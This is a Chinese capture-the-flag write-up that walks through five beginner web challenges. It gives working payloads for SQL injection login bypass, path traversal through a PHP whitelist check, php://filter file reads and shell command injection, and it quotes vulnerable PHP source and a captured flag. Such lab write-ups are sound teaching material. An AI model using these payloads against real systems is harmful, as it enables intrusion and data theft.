一、[极客大挑战 2019]EasySQL1
进入后让我们登录网站,
尝试一下,
可以看到是get型,直接尝试绕过,
?username=admin' or '1'='1&password=123' or '1'='1
' 是为了闭合原本sql语句从而构成万能语句的。
二、[HCTF 2018]WarmUp1
给了个图片,我们f12或ctrl+u可以看到有个source.php隐藏部分
所以我们在url后面加上 /source.php
然后就是代码审计了。
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//白名单列表
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//判断是否为字符串,不是则返回错误
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第一次判断:将你传入的值与白名单中的比较,如果有则返回正确
if (in_array($page, $whitelist)) {
return true;
}
//第一次过滤,只取第一个?前的字符串
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//判断在不在白名单中
if (in_array($_page, $whitelist)) {
return true;
}
//对page进行url编码,之后又是两个判断
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
先是下面的 if 判断,如果file传的参数不为空,为字符串,且能通过上面那些过滤就执行文件包含。
所以我们这里url后加上hint.php看看
提示我们在ffffllllaaaagggg文件中,然后我们在将url变成
/index.php?file=hint.php?../../../../../ffffllllaaaagggg
/index前面部分是你的靶场地址。(这里的index也可以换成hint或source,只是会把原来那些代码显示出来)
我们来分析一下,传入后,先对file值进行判断即file后面那串字符串,可以看到是非空,字符串,再将这个字符串传给page进行上面那一堆判断。
刚开始是hint.php?../../../../../ffffllllaaaagggg,然后第一次判断没有成功,然后往下第一次过滤,过滤后_page值为hint.php,在白名单内,所以判断正确,执行文件包含,后面的那些../是用来访问该文件的,因为不知道在哪个目录下所以是一个一个加尝试的。
最后成功拿到flag
三、[极客大挑战 2019]Havefun1
这个很简单的,进去之后可以看到源码中隐藏了一部分代码,
所以我们直接传递一个cat参数,令他的参数值为dog
四、[ACTF2020 新生赛]Include1
进去后看到就一个tips,我们点击一下,可以看到url变了,且提示我们用文件包含与php伪协议来完成。
file=php://filter/read=convert.base64-encode/resource=flag.php
然后去base64解密,
flag{ef7e62e5-5ed4-4f53-8c7c-fb80aaabf7cc}
不太懂得可以看看这两篇文章
php伪协议(文件包含)_番茄酱料的博客-CSDN博客_php伪协议文件包含
[ACTF2020 新生赛]Include 1_wow小华的博客-CSDN博客
五、[ACTF2020 新生赛]Exec1
很明显的命令注入漏洞
常见WEB攻击之命令注入 - 简书 (jianshu.com)
命令注入_extremebingo的博客-CSDN博客_命令注入
直接输入127.0.0.1;ls,前面的地址是自己的本地地址,后面的ls是为了遍历目录从而确定flag文件位置
没有什么东西,我们看一下上一级,127.0.0.1;cd ../;ls ,这里的cd 是切换文件夹,ls遍历当前文件夹
一直到 127.0.0.1;cd ../../../;ls,我们看到了flag
然后127.0.0.1;cd ../../../;cat flag,输出里面的内容就行了